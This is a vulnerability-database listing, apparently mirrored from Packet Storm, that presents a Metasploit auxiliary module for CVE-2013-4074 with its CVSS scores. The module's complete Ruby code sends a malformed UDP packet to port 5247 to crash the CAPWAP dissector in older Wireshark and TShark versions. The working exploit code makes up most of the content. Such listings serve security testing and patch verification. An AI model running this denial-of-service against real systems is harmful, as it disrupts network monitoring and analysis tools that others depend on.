Lucene search

K
packetstormLaurent Butti, j0sm1, metasploit.comPACKETSTORM:180491
HistoryAug 31, 2024 - 12:00 a.m.

Wireshark CAPWAP Dissector Denial of Service

2024-08-3100:00:00
Laurent Butti, j0sm1, metasploit.com
packetstormsecurity.com
16
wireshark
capwap
dissector
denial of service
udp
vulnerability
length
cve-2013-4074

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

AI Score

6.9

Confidence

Low

EPSS

0.094

Percentile

94.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wireshark CAPWAP Dissector DoS',  
'Description' => %q{  
This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well  
as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a  
packet correctly when an incorrect length is given.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Laurent Butti', # Discovery vulnerability  
'j0sm1' # Auxiliary msf module  
],  
'References' =>  
[  
['CVE', '2013-4074'],  
['OSVDB', '94091'],  
['BID', '60500']  
],  
'DisclosureDate' => '2014-04-28'))  
  
# Protocol capwap needs port 5247 to trigger the dissector in wireshark  
register_options([ Opt::RPORT(5247) ])  
end  
  
def run  
  
connect_udp  
  
# We send a packet incomplete to crash dissector  
print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")  
# With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then  
# the dissector crash  
# You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt  
# F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000  
buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)  
udp_sock.put(buf)  
  
disconnect_udp  
  
end  
end  
`

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

AI Score

6.9

Confidence

Low

EPSS

0.094

Percentile

94.8%